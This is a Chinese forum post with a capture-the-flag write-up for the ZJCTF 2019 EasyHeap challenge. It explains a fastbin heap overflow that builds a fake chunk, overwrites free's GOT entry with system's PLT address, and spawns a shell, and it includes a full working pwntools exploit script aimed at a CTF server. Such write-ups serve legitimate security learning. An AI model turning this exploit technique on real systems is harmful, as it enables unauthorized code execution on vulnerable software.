好友
阅读权限10
听众
最后登录1970-1-1
|
本帖最后由 bnuzgn 于 2023-7-24 18:52 编辑
看了https://www.52pojie.cn/thread-1804736-1-1.html后有些点没想明白,自己做了一遍后也有了些收获。
题目:[ZJCTF 2019]EasyHeap
前置知识:堆的结构:Allocated chunk、freed chunck、fastbin
题目信息:
64位、环境为ubuntu16、可以修改got表、无PIE
1
创建堆的过程没有漏洞(用的不是IDA,而是ghidra)
2
编辑堆内容中并未重新分配新的堆,而是对原有的堆内容重新覆盖,只要新的size大于申请的size则可造成溢出。
3
l33t函数中直接可以读取flag,但是由于模拟环境改变后无法直接使用,因此需要自行构造shell。
4
解题思路
- 我们的目的是:构造system("/bin/sh")并执行。
- 任务困难点:在无法劫持PC的情况下,执行system函数。结合got表可修改的前提,则需要找可以使用的1参数的系统函数并劫持其got表指向system的plt表,就例如free(void * __ptr)。
- 因此困难点变成了修改free的got表内容,需要从程序中利用漏洞找到一个修改指定指针的内容的方法。程序中可以符合条件的是read_input函数,而这个函数在创建堆和修改堆的函数中被使用,且修改的地址均为*(undefined8 *)(heaparray + (long)iVar1 * 8)即修改heaparry这个全局变量中用户申请的堆的地址,而这个堆只能在创建时或修改时才能修改其内容。
- 困难点变成了将heaparray中保存的一个堆的地址变成free的got表。而申请的堆无法通过溢出来实现类似栈溢出的直接修改的效果,因此一般堆溢出会构造一个虚假的堆。
- 我们可以在堆分配的空间中实现写入任意内容的效果,因此想要修改heaparray中的内容(就改heap0吧),就需要构造一个堆来将其包含在内,假堆结构的size与本身的数据开始地址极为重要,相加后的虚假堆空间需要覆盖想要修改的内容(参考解题关键步骤中的实例),这样才能在申请或者修改时完成对heaparray的覆盖。
- 因此只要一个字节一个字节的向前找,就有可能找到符合条件的地址作为假堆的地址。
- 结合fastbin的结构可以申请3个大小相同且在fastbin范围内的堆,先释放堆3,再修改堆2的内容造成溢出,修改已经释放堆3的fd指向虚假的堆地址,再申请一个跟堆3一样大小的堆,再申请一个等于堆2大小的堆,这个堆就被申请给了虚假堆,此时就可以用edit函数覆盖heaparray的值了。
解题关键步骤
申请三个堆并释放堆3时,顺着heaparray向前找可以构造下图中的fake heap
7
此时的堆的情况。
5
修改堆2并溢出后的情况:
6
wp
[Python] 纯文本查看 复制代码 # -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "easyheap"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",28535)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def add(size,content):
sla("Your choice :","1")
sla("Size of Heap : ",str(size))
sla("Content of heap:",content)
def delete(index):
sla("Your choice :","3")
sla("Index :",str(index))
def edit(index,content):
sla("Your choice :","2")
sla("Index :",str(index))
sla("Size of Heap : ",str(len(content)))
sa("Content of heap : ",content)
fakeHeapAddr = 0x006020ad
add(0x68,"a")
add(0x68,"a")
add(0x68,"a")
delete(2)
#db()
edit(1,b"/bin/sh\x00"+b"\x00"*0x60+p64(0x71)+p64(fakeHeapAddr))
add(0x68,"a")
add(0x68,"a")
#db()
edit(3,b"\x00"*0x23+p64(elf.got["free"]))
edit(0,p64(elf.plt["system"]))
delete(1)
ti() |
免费评分
-
查看全部评分
|
发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。 |
|
|
|
|